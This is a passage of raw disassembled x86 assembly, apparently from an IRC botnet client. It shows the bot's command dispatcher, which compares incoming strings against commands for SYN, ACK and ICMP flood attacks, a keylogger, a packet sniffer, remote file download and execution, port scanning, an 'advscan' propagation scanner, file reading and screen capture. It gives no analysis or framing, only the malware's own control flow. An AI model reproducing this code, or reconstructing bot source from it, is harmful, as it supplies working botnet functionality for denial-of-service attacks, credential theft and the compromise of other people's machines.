		pop	ecx
		jz	loc_413CAD
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDB
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDB
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B32
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B32
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE4
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE4
		push	[ebp+arg_8]
		push	offset aIrc_prefix ; "irc.prefix"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413ACF
		push	[ebp+arg_8]
		push	offset aIrc_pr	; "irc.pr"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413ACF
		push	[ebp+arg_8]
		push	offset aCom_open ; "com.open"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA5
		push	[ebp+arg_8]
		push	offset aCom_o	; "com.o"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA5
		push	[ebp+arg_8]
		push	offset aIrc_setserve ; "irc.setserve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8C
		push	[ebp+arg_8]
		push	offset aIrc_se	; "irc.se"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8C
		push	[ebp+arg_8]
		push	offset aIrc_dns	; "irc.dns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FA
		push	[ebp+arg_8]
		push	offset aIrc_dn	; "irc.dn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FA
		push	[ebp+arg_8]
		push	offset aCom_killprocna ; "com.killprocname"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139CE
		push	[ebp+arg_8]
		push	offset aCom_kpn	; "com.kpn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139CE
		push	[ebp+arg_8]
		push	offset aCom_prockillid ; "com.prockillid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413973
		push	[ebp+arg_8]
		push	offset aCom_pkid ; "com.pkid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413973
		push	[ebp+arg_8]
		push	offset aCom_delete ; "com.delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413938
		push	[ebp+arg_8]
		push	offset aCom_del	; "com.del"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413938
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41384E
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41384E
		push	[ebp+arg_8]
		push	offset aCom_filelist ; "com.filelist"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413830
		push	[ebp+arg_8]
		push	offset aCom_fl	; "com.fl"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413830
		push	[ebp+arg_8]
		push	offset aIrc_visit ; "irc.visit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41374F
		push	[ebp+arg_8]
		push	offset aIrc_v	; "irc.v"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41374F
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413714
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413714
		push	[ebp+arg_8]
		push	offset aCom_cmd	; "com.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136C9
		push	[ebp+arg_8]
		push	offset aCom_cm	; "com.cm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136C9
		push	[ebp+arg_8]
		push	offset aCom_readfile ; "com.readfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413643
		push	[ebp+arg_8]
		push	offset aCom_rf	; "com.rf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413643
		push	[ebp+arg_8]
		push	offset aSniff	; "sniff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410CCC
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410C97
		push	19h
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jle	short loc_410BC1
		push	offset unk_437B84
		jmp	loc_410D38
; ---------------------------------------------------------------------------

loc_410BC1:				; CODE XREF: sub_40EE72+1D43j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jnz	short loc_410C03
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43C80C
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410C03
		mov	esi, [ebp+var_8C]

loc_410C03:				; CODE XREF: sub_40EE72+1D73j
					; sub_40EE72+1D89j
		push	esi
		lea	eax, [ebp+var_4EC]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_437B44
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	19h
		push	eax
		call	sub_416D5A
		add	esp, 14h
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_402688
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_46C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_410C86

loc_410C70:				; CODE XREF: sub_40EE72+1E12j
		cmp	[ebp+var_460], ebx
		jnz	loc_410E57
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_410C70
; ---------------------------------------------------------------------------

loc_410C86:				; CODE XREF: sub_40EE72+1DFCj
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437AF8
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_410C97:				; CODE XREF: sub_40EE72+1D33j
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	19h
		call	sub_416F55
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410CC5
		push	eax
		push	offset unk_437AAC
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_410CC5:				; CODE XREF: sub_40EE72+1E46j
		push	offset unk_437A74
		jmp	short loc_410D38
; ---------------------------------------------------------------------------

loc_410CCC:				; CODE XREF: sub_40EE72+1D1Ej
		push	[ebp+arg_8]
		push	offset aCom_keylog ; "com.keylog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E81
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aFile	; "file"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	1Bh
		call	sub_416F55
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410D33
		push	eax
		push	offset unk_437A1C
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_410D33:				; CODE XREF: sub_40EE72+1EB4j
		push	offset unk_4379E0

loc_410D38:				; CODE XREF: sub_40EE72+1D4Aj
					; sub_40EE72+1E58j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	loc_410E57
; ---------------------------------------------------------------------------

loc_410D4B:				; CODE XREF: sub_40EE72+1E80j
					; sub_40EE72+1E91j
		push	1Bh
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jle	short loc_410D5E
		push	offset unk_4379B0
		jmp	short loc_410D38
; ---------------------------------------------------------------------------

loc_410D5E:				; CODE XREF: sub_40EE72+1EE3j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		push	offset aFile	; "file"
		mov	[ebp+var_468], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D8D
		mov	[ebp+var_464], 1
		jmp	short loc_410D96
; ---------------------------------------------------------------------------

loc_410D8D:				; CODE XREF: sub_40EE72+1F0Dj
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax

loc_410D96:				; CODE XREF: sub_40EE72+1F19j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_410DBD
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43C80C
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410DBD
		mov	esi, [ebp+var_8C]

loc_410DBD:				; CODE XREF: sub_40EE72+1F2Dj
					; sub_40EE72+1F43j
		push	esi
		lea	eax, [ebp+var_4E8]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_437980
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Bh
		push	eax
		call	sub_416D5A
		add	esp, 14h
		mov	[ebp+var_4EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_4023A7
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_4EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_410E3C

loc_410E2A:				; CODE XREF: sub_40EE72+1FC8j
		cmp	[ebp+var_460], ebx
		jnz	short loc_410E57
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_410E2A
; ---------------------------------------------------------------------------

loc_410E3C:				; CODE XREF: sub_40EE72+1FB6j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437934

loc_410E48:				; CODE XREF: sub_40EE72+1E20j
					; sub_40EE72+1E4Ej ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch

loc_410E57:				; CODE XREF: sub_40EE72+1E04j
					; sub_40EE72+1E34j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40F822
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F822
; ---------------------------------------------------------------------------

loc_410E81:				; CODE XREF: sub_40EE72+1E6Bj
		push	[ebp+arg_8]
		push	offset aCom_net	; "com.net"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411114
		cmp	ds:dword_43F738, ebx
		jz	short loc_410EB2
		cmp	ds:dword_43F760, ebx
		jz	short loc_410EB2
		push	offset dword_4378E4
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410EB2:				; CODE XREF: sub_40EE72+202Cj
					; sub_40EE72+2034j
		cmp	[ebp+var_C], ebx
		jz	loc_4110DC
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_410EDA
		push	eax
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx

loc_410EDA:				; CODE XREF: sub_40EE72+2058j
		push	edi
		push	offset aStart	; "start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F26
		cmp	[ebp+arg_18], ebx
		jz	short loc_410EFA
		push	[ebp+arg_0]
		push	3
		jmp	loc_410F84
; ---------------------------------------------------------------------------

loc_410EFA:				; CODE XREF: sub_40EE72+207Cj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D9B3
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_410F1C
		push	offset dword_4378B0
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410F1C:				; CODE XREF: sub_40EE72+209Ej
		push	offset dword_437880
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410F26:				; CODE XREF: sub_40EE72+2077j
		push	edi
		push	offset aStop	; "stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F3E
		push	[ebp+arg_0]
		push	4
		jmp	short loc_410F84
; ---------------------------------------------------------------------------

loc_410F3E:				; CODE XREF: sub_40EE72+20C3j
		push	edi
		push	offset aPause	; "pause"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F56
		push	[ebp+arg_0]
		push	5
		jmp	short loc_410F84
; ---------------------------------------------------------------------------

loc_410F56:				; CODE XREF: sub_40EE72+20DBj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F6E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_410F84
; ---------------------------------------------------------------------------

loc_410F6E:				; CODE XREF: sub_40EE72+20F3j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F90
		push	[ebp+arg_0]
		push	1

loc_410F84:				; CODE XREF: sub_40EE72+2083j
					; sub_40EE72+20CAj ...
		call	sub_40D719
		pop	ecx
		pop	ecx
		jmp	loc_4110AB
; ---------------------------------------------------------------------------

loc_410F90:				; CODE XREF: sub_40EE72+210Bj
		push	edi
		push	offset aShare	; "share"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410FFB
		cmp	[ebp+arg_18], ebx
		jz	short loc_410FCE
		cmp	[ebp+var_9C4], bl
		jz	short loc_410FC1
		push	ebx
		push	[ebp+arg_18]
		push	1

loc_410FB4:				; CODE XREF: sub_40EE72+215Aj
		call	sub_40DAF0
		add	esp, 0Ch
		jmp	loc_4110AB
; ---------------------------------------------------------------------------

loc_410FC1:				; CODE XREF: sub_40EE72+213Aj
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx
		jmp	short loc_410FB4
; ---------------------------------------------------------------------------

loc_410FCE:				; CODE XREF: sub_40EE72+2132j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DCE6
		add	esp, 10h
		test	eax, eax
		jz	short loc_410FF1
		push	offset dword_437830
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410FF1:				; CODE XREF: sub_40EE72+2173j
		push	offset dword_437800
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410FFB:				; CODE XREF: sub_40EE72+212Dj
		push	edi
		push	offset aUser	; "user"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41107E
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_411057
		cmp	[ebp+var_9C4], bl
		jz	short loc_41102D
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_411047
; ---------------------------------------------------------------------------

loc_41102D:				; CODE XREF: sub_40EE72+21A7j
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_411051
		push	esi
		push	eax
		push	ebx

loc_411047:				; CODE XREF: sub_40EE72+21B9j
					; sub_40EE72+21E3j
		call	sub_40DE07
		add	esp, 18h
		jmp	short loc_4110AB
; ---------------------------------------------------------------------------

loc_411051:				; CODE XREF: sub_40EE72+21D0j
		push	ebx
		push	eax
		push	2
		jmp	short loc_411047
; ---------------------------------------------------------------------------

loc_411057:				; CODE XREF: sub_40EE72+219Fj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40E337
		add	esp, 10h
		test	eax, eax
		jz	short loc_411077
		push	offset dword_4377C8
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------

loc_411077:				; CODE XREF: sub_40EE72+21FCj
		push	offset dword_43779C
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------

loc_41107E:				; CODE XREF: sub_40EE72+2198j
		push	edi
		push	offset aSend	; "send"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4110C9
		cmp	[ebp+arg_18], ebx
		jz	short loc_4110C2
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E5EB
		add	esp, 10h

loc_4110AB:				; CODE XREF: sub_40EE72+2119j
					; sub_40EE72+214Aj ...
		push	eax
		push	offset aS_3	; "%s"

loc_4110B1:				; CODE XREF: sub_40EE72+4852j
					; sub_40EE72+4B79j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE

loc_4110BD:				; CODE XREF: sub_40EE72+5701j
		add	esp, 0Ch
		jmp	short loc_4110DC
; ---------------------------------------------------------------------------

loc_4110C2:				; CODE XREF: sub_40EE72+2220j
		push	offset dword_43776C
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------

loc_4110C9:				; CODE XREF: sub_40EE72+221Bj
		push	offset dword_437740

loc_4110CE:				; CODE XREF: sub_40EE72+203Bj
					; sub_40EE72+20A5j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_4110DC:				; CODE XREF: sub_40EE72+2043j
					; sub_40EE72+224Ej ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_4110FD
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_4110FD:				; CODE XREF: sub_40EE72+226Dj
					; sub_40EE72+4847j ...
		mov	esi, [ebp+arg_24]

loc_411100:				; CODE XREF: sub_40EE72+9B3j
					; sub_40EE72+4B35j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		mov	eax, esi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_411114:				; CODE XREF: sub_40EE72+2020j
		push	[ebp+arg_8]
		push	offset aCom_capture ; "com.capture"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413400
		push	[ebp+arg_8]
		push	offset aCom_cap	; "com.cap"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413400
		push	[ebp+arg_8]
		push	offset aIrc_gethost ; "irc.gethost"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413312
		push	[ebp+arg_8]
		push	offset aIrc_gh	; "irc.gh"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413312
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_addalias ; "irc.addalias"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E0
		push	[ebp+arg_8]
		push	offset aIrc_aa	; "irc.aa"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E0
		push	[ebp+arg_8]
		push	offset aIrc_privmsg ; "irc.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328A
		push	[ebp+arg_8]
		push	offset aIrc_pm	; "irc.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328A
		push	[ebp+arg_8]
		push	offset aIrc_action ; "irc.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413224
		push	[ebp+arg_8]
		push	offset aIrc_ac	; "irc.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413224
		push	[ebp+arg_8]
		push	offset aIrc_cycle ; "irc.cycle"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BB
		push	[ebp+arg_8]
		push	offset aIrc_cy	; "irc.cy"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BB
		push	[ebp+arg_8]
		push	offset aIrc_mode ; "irc.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413181
		push	[ebp+arg_8]
		push	offset aIrc_m	; "irc.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413181
		push	[ebp+arg_8]
		push	offset aClone_raw ; "clone.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413113
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413113
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41308E
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41308E
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413022
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413022
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFC
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFC
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F99
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F99
		push	[ebp+arg_8]
		push	offset aIrc_repeat ; "irc.repeat"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED0
		push	[ebp+arg_8]
		push	offset aIrc_rp	; "irc.rp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED0
		push	[ebp+arg_8]
		push	offset aIrc_delay ; "irc.delay"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E33
		push	[ebp+arg_8]
		push	offset aIrc_de	; "irc.de"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E33
		push	[ebp+arg_8]
		push	offset aDownload_updat ; "download.update"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CAF
		push	[ebp+arg_8]
		push	offset aDownload_up ; "download.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CAF
		push	[ebp+arg_8]
		push	offset aCom_execute ; "com.execute"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1C
		push	[ebp+arg_8]
		push	offset aCom_e	; "com.e"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1C
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1B
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1B
		push	[ebp+arg_8]
		push	offset aCom_rename ; "com.rename"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412AC9
		push	[ebp+arg_8]
		push	offset aCom_mv	; "com.mv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412AC9
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129C8
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129C8
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DD
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DD
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DA
		push	[ebp+arg_8]
		push	offset aDdos_synf ; "ddos.synf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DA
		push	[ebp+arg_8]
		push	offset aDownload_wget ;	"download.wget"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412599
		push	[ebp+arg_8]
		push	offset aDownload_wg ; "download.wg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412599
		push	[ebp+arg_8]
		push	offset aDaemon_redirec ; "daemon.redirect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249C
		push	[ebp+arg_8]
		push	offset aDaemon_rd ; "daemon.rd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249C
		push	[ebp+arg_8]
		push	offset aRoot_portscan ;	"root.portscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123A9
		push	[ebp+arg_8]
		push	offset aRoot_ps	; "root.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123A9
		push	[ebp+arg_8]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D4
		push	[ebp+arg_8]
		push	offset aClone_pm ; "clone.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D4
		push	[ebp+arg_8]
		push	offset aClone_action ; "clone.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BC
		push	[ebp+arg_8]
		push	offset aClone_ac ; "clone.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BC
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
		push	[ebp+arg_8]
		push	offset aAdv	; "adv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
